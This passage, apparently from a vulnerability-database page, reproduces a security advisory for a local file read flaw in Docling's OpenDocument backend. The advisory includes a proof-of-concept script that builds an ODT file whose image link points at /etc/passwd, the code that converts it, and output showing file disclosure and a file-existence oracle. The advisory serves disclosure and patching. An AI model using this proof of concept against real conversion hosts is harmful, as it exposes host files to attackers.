\u0027xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\" \u0027\n    \u0027xmlns:xlink=\"http://www.w3.org/1999/xlink\" office:version=\"1.2\"\u003e\u0027\n    \u0027\u003coffice:body\u003e\u003coffice:text\u003e\u003ctext:p\u003e\u0027\n    \u0027\u003cdraw:frame\u003e\u003cdraw:image xlink:href=\"{href}\"/\u003e\u003c/draw:frame\u003e\u0027\n    \u0027\u003c/text:p\u003e\u003c/office:text\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\u0027\n)\n \ndef build(path, href):\n    with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n        zi = zipfile.ZipInfo(\"mimetype\", date_time=(1980, 1, 1, 0, 0, 0))\n        zi.compress_type = zipfile.ZIP_STORED\n        z.writestr(zi, \"application/vnd.oasis.opendocument.text\")\n        zi = zipfile.ZipInfo(\"content.xml\", date_time=(1980, 1, 1, 0, 0, 0))\n        zi.compress_type = zipfile.ZIP_DEFLATED\n        z.writestr(zi, CONTENT.format(href=href))\n \nbuild(\"odt_etc_passwd.odt\", \"/etc/passwd\")\nbuild(\"odt_control.odt\", \"Pictures/image1.png\")\n```\n \nWith the fixed archive timestamp above the artifacts are byte-reproducible:\n \n| File | Bytes | sha256 |\n|---|---|---|\n| `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` |\n| `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` |\n \nWithout the fixed timestamp the archive size varies by a few bytes with the length of the `href`\nstring, which is the only part that changes.\n \n### Conversion \u2014 public API, default install, no options set\n \n```python\nfrom pathlib import Path\nfrom docling.document_converter import DocumentConverter\nfrom docling_core.types.doc import ImageRefMode\n \ndoc = DocumentConverter().convert(Path(\"trigger.odt\")).document\nprint(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))\n```\n \nThe read itself is observed with `sys.addaudithook`, which records every `open` without modifying\nDocling or any dependency.\n \nA self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh\ntemporary directory, builds the trigger and the control, converts both, and reports the read, the\ndisclosure in each export format, and ten consecutive repetitions.\n \n### Output \u2014 disclosure\n \n```\npython        3.14.4\ndocling       /home/asus/CVE/docling/docling/__init__.py\ncanary        /tmp/odf_canary_eoz7_2d8/canary.png  (104 B, sha256 b9c57d2dc728be7f)\ntrigger       odf_trigger.odt  (471 B, sha256 341d060294c90447)\n \nfile opened outside document : True  [\u0027/tmp/odf_canary_eoz7_2d8/canary.png\u0027, ...]\ncontents present in html     : True\ncontents present in markdown : True\ncontents present in json     : True\n \ncontrol (in-archive href)    : disclosed=False\ndeterminism                  : 10/10\n \n----------------------------------------------------------------------\nRESULT: REPRODUCED\n----------------------------------------------------------------------\n```\n \nThe canary is written outside the working tree and is never placed inside the archive. The sha256\nof the base64-decoded image in the export matches the source file exactly.\n \nThe control is the ordinary ODF convention, `xlink:href=\"Pictures/image1.png\"`. It resolves inside\nthe archive and discloses nothing, through the same function. That is what separates this from\nintended behaviour.\n \n### Output \u2014 read of a non-image path\n \nThe read happens before any decoding is attempted, so it is not confined to image files.\n \n```\n/etc/passwd                  status=success  opened=[\u0027/etc/passwd\u0027]\n/etc/does_not_exist_9c1f     status=success  opened=[]\n```\n \nBoth conversions report success. Only the existing path is opened. Nothing in the conversion\nresult distinguishes the two cases, so the difference is usable as a silent file-existence oracle\nagainst arbitrary paths.\n \n## Impact\n \nConfirmed by execution, default install, no options set:\n \n1. **Arbitrary local file read.** A converted document names an absolute path and Docling opens\n   it. Observed for `/etc/passwd` and for paths with no extension.\n2. **Silent file existence and readability oracle.** Present and absent paths are distinguishable\n   by side effect while conversion reports success either way.\n3. **Full content disclosure.** Where the target decodes as an image, its bytes are embedded in\n   the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte\n   for byte.\nThe disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly\nthan overstate the finding. On a document-conversion host that class is not marginal: page images\nfrom other conversions, scanned documents, cached artifacts and screenshots are exactly what such\na service accumulates. The project README describes \"local execution capabilities for sensitive\ndata and air-gapped environments\", which is the deployment where host-side file disclosure carries\nthe most weight.\n \n**Not demonstrated, and stated as such.** I have not tested this behind `docling-serve`. `.odt` is\nan accepted input format there, `json` is an accepted output format, and the service defaults to\nbinding `0.0.0.0` with `DOCLING_SERVE_API_KEY` unset, so on the face of it the same defect is\nreachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am\nraising it for you to check rather than presenting it as a result.",
  "id": "GHSA-4xhp-xg4w-8ppm",
  "modified": "2026-10-05T22:33:52Z",
  "published": "2026-10-05T22:33:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/pull/4015"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/docling-project/docling"
    },
    {
      "type": "WEB",
      "url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-105751 (GCVE-0-2026-105751)

FKIE_CVE-2026-105751

GHSA-4XHP-XG4W-8PPM

Summary

Affected component

The backend does not use the project's own fetch controls

Affected versions

Proof of concept

Trigger

Conversion — public API, default install, no options set

Output — disclosure

Output — read of a non-image path

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour